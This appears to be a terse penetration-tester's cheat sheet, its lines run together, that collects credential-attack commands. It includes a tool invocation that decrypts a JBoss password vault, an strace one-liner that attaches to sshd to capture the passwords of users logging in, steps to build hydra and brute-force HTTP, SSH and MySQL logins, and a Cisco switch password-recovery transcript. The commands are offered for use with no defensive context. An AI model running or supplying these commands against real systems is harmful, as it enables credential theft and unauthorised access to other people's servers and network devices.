#cat standalone.xml#cat vaultbreaker.py#python vaultbreaker.py 3y28rCZlcKR vault 12438567 50 vault.store vault.dat
Reference
https://developer.jboss.org/wiki/JBossAS7SecuringPasswords
Done in collaboration
https://atorralba.github.io/
#cat standalone.xml#cat vaultbreaker.py#python vaultbreaker.py 3y28rCZlcKR vault 12438567 50 vault.store vault.dat
# strace -f -e "read" -p `ps axuf | grep -m 1 sshd | awk '{print $2}'` 2>&1 | grep -e '\\7\\0\\0\\0\\4' -e '\\v\\0\\0\\0\\10'
#apt-get install libssh-dev#wget http://freeworld.thc.org/releases/hydra-6.3-src.tar.gz#tar xvzf hydra-6.3-src.tar.gz#cd hydra-6.3-src#./configure#make#./hydra -h#./hydra -l foo -p bar -f 127.0.0.1 http-get -m /#./hydra -l root -P john_password.lst 127.0.0.1 ssh -s 2222#./hydra -l root 8:8:a -f 127.0.0.1 mysql
Switch(config)#no service password-recoveryc2960(config)#do wrc2960(config)#do reloadProceed with reload? [confirm] ... The password-recovery mechanism is disabled. Initializing Flash... ... ...done Initializing Flash. ... The password-recovery mechanism has been triggered, but is currently disabled. Access to the boot loader prompt through the password-recovery mechanism is disallowed at this point. However, if you agree to let the system be reset back to the default system configuration, access to the boot loader prompt can still be allowed. Would you like to reset the system back to the default configuration (y/n)?yThe system has been interrupted, and the config file has been deleted. The following command will finish loading the operating system software: boot switch:bootLoading "flash:c2960-lanbase-mz.122-35.SE5.bin"... ... Would you like to terminate autoinstall? [yes]: Would you like to enter the initial configuration dialog? [yes/no]:noSwitch>